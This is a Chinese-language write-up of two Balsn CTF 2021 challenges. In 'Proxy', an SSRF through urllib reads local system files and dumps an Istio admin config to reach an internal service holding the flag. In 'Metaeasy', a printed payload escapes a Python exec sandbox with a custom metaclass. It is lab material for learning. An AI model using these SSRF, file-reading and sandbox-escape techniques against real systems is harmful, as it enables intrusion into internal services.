# 2021 Balsn CTF Writeup
只寫了兩題,禮拜六大部分時間都浪費在架SMB上,然後才發現根本是徒勞無功
我太難了
如果不浪費時間在那上面大概可以解三題
---
## Proxy
網站本身有個參數,可以查詢指定網址
可以用file\://來撈本地的檔案
下面的檔案都是簡化的
**/proc/self/environ 環境參數**
```
CHALL_PORT_8000_TCP_ADDR=10.44.0.53
CHALL_PORT_8000_TCP_PORT=8000
SECRET_SERVICE_20A91E_PORT_39307_TCP_ADDR=10.44.3.240
SECRET_SERVICE_20A91E_PORT_39307_TCP_PORT=39307
HOSTNAME=chall-v1-76d9c69984-2bmgk
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_ADDR=10.44.0.1
PWD=/opt/workdir
```
可以看到有其他的服務,也就是說要打到內網的其他主機
直接打是沒用的
**/proc/self/cmdline 當初執行的程式**
```
python gunicorn main:app --bind 0.0.0.0:8000
```
所以原始碼位置是在 **/opt/workdir/main.py**
或是也可以 **/proc/self/cwd/main.py**
```python=
import urllib.request
from flask import Flask, request
app = Flask(__name__)
@app.route("/meow")
def meow():
return 'meow?'
@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site, timeout=5).read()
return text
@app.route("/")
def hello_world():
return "/query?site=[your website]"
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)
```
聽其他人說如果直接用瀏覽器連/meow
會發現被istio擋
但我一直都是拿他的參數去戳其他網址,所以完全沒發現
結果就是把其他東西都試了一遍
ex:urllib的漏洞、Kubernetes的漏洞、其他所有能戳的檔案
最後才回去看istio是什麼鬼
人生好難
k8s的服務可以稱為node,而不同node都會用master node來掌控
一般來說,普通的k8s的架構都必須透過master node來連線到不同的node
node之間連線也必須透過master node的api
而istio卻能直接讓node對外公開,並且讓node之間互相連線
稍微經過一些查詢,可以知道istio會在所有node的15000 port上面弄一個admin的面板,上面可以讓你直接dump istio的config
最後透過查詢關鍵字,可以發現酷酷的東西
```
"name": "secret-service-20a91e.default.svc.cluster.local:39307",
"domains": [
"secret-service-20a91e.default.svc.cluster.local",
"secret-service-20a91e.default.svc.cluster.local:39307",
"secret-service-20a91e",
"secret-service-20a91e:39307",
"secret-service-20a91e.default.svc.cluster",
"secret-service-20a91e.default.svc.cluster:39307",
"secret-service-20a91e.default.svc",
"secret-service-20a91e.default.svc:39307",
"secret-service-20a91e.default",
"secret-service-20a91e.default:39307",
"10.44.3.240",
"10.44.3.240:39307"
]
```
隨便選一個都連得上去...吧(?
總之最後flag放在/flag裡
不過直接在後面加/flag會連不上去
要加//flag
我當初沒多想,以為是urllib把斜線當成proxy.balsnctf.com的路徑
所以直接加了一個/跳脫
後來其他人才說似乎又是istio的奇怪設定
flag:**BALSN{default_istio_service_mesh_envoy_configurations}**
---
## Metaeasy
題目給你一個python的檔案
程式有點多行所以我就拿幾段重要的出來
主要是會用BalsnMetaClass幫你生成一個Class出來
然後你可以增加或修改Method或是Attribute總共三次
兩個MetaClass
MasterMetaClass會把getFlag變成IWantGETFLAGPLz
```python=
class MasterMetaClass(type):
def __new__(cls, class_name, class_parents, class_attr):
def getFlag(self):
print('Here you go, my master')
with open('flag') as f:
print(f.read())
class_attr[getFlag.__name__] = getFlag
attrs = ((name, value) for name, value in class_attr.items() if not name.startswith('__'))
class_attr = dict(('IWant' + name.upper() + 'Plz', value) for name, value in attrs)
newclass = super().__new__(cls, class_name, class_parents, class_attr)
return newclass
def __init__(*argv):
print('Bad guy! No Flag !!')
raise Exception('Illegal')
class BalsnMetaClass(type):
def getFlag(self):
print('You\'re not Master! No Flag !!')
def __new__(cls, class_name, class_parents, class_attr):
newclass = super().__new__(cls, class_name, class_parents, class_attr)
setattr(newclass, cls.getFlag.__name__, cls.getFlag)
return newclass
```
會把你輸入的code包裝成函式
上限45個字,會過濾 _$#@~'
他用的是exec,所以可以用;來執行多行程式
```python=
def createMethod(code):
if len(code) > 45:
print('Too long!! Bad Guy!!')
return
for x in ' _$#@~':
code = code.replace(x, '')
def wrapper(self):
exec(code, safe_dict, {'self': self})
return wrapper
```
增加以及呼叫方法的函式
可以看到沒辦法直接替代或是呼叫有_的方法
像是__init__或__new__之類的
```python=
def setName(pattern):
while True:
name = input(f'Give me your {pattern} name :')
if (name.isalpha()):
break
else:
print('Illegal Name...')
return name
def setMethod(cls):
methodName = setName('method')
code = input(f'Give me your function:')
func = createMethod(code)
setattr(cls, methodName, func)
def callMethod(cls, obj):
attrs = [attr for attr in dir(obj) if callable(getattr(obj, attr)) and not attr.startswith("__")]
x = input('Please enter the method\'s name :')
if x not in attrs:
print(f'You can\'t access the method {x}')
return
else:
try:
print(f'calling method {x}...')
cls.__dict__[x](obj)
print('done')
except:
print('Something went wrong in your method...')
return
```
先來簡單介紹一下什麼是metaclass
詳細可以看這邊
https://stackoverflow.com/questions/100003/what-are-metaclasses-in-python
python的class其實都是type的一種instance
也就是說如果你使用type(someclass)
回傳的都會是<class 'type'>
而metaclass就是繼承type,並且能讓你創造屬於自己的class的方法
在定義class的過程中就對attr跟method做不同的事情
type()除了回傳物件的type,還可以拿來定義class
而在這一題,我們便需要用MasterMetaClass來定義一個class
並且執行這個class的getFlag
唯一的問題是,在定義的時候他的__init__會被觸發,所以必須想辦法繞過或覆蓋掉他
由於metaclass是可以被繼承的,也就是說只要定義新的metaclass,並且Override他的__init__,再用這個子metaclass定義一個class就行了
完美
payload
```python=
#dir(self[11])是為了拿到__init__的字串,不過好像能直接用\x5f繞過過濾
self.d={};self.d[dir(self)[11]]=print;
#用type生成繼承MasterMetaClass的metaclass,並且Override __init__
self.p=type('p',(MasterMetaClass,),self.d);
##最後再用剛才生成的metaclass生成class,初始化後呼叫IWantGETFLAGPLz()
self.p("t",(),{})().IWantGETFLAGPlz()
```
Flag:**BALSN{Metaclasses_Are_Deeper_Magic_Than_99%_Of_Users_Should_Ever_Worry_About._If_You_Wonder_Whether_You_Need_Them,_You_Don't.-Tim_Peters_DE8560A2}**
---
## 結語
這次是比去年進步了啦
從廢物菜雞變成廢物
這次獨自寫了兩題,拿了第26名,還算開心
不過我覺得我真的要找隊友ㄌ
希望明年能變更強,從廢物變菜雞
然後找到隊友